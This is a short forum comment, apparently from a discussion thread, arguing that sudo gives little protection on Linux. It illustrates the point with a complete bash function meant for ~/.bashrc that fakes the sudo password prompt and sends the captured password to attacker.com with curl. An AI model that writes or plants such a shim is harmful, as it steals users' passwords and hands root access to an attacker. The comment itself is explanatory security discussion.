Comment Comment by lrvick To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.Malware just need to put this in ~/.bashrc and wait:function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1 $realsudo "${@:1}" } parent lrvick 2 months ago
Malware just need to put this in ~/.bashrc and wait:
function sudo () {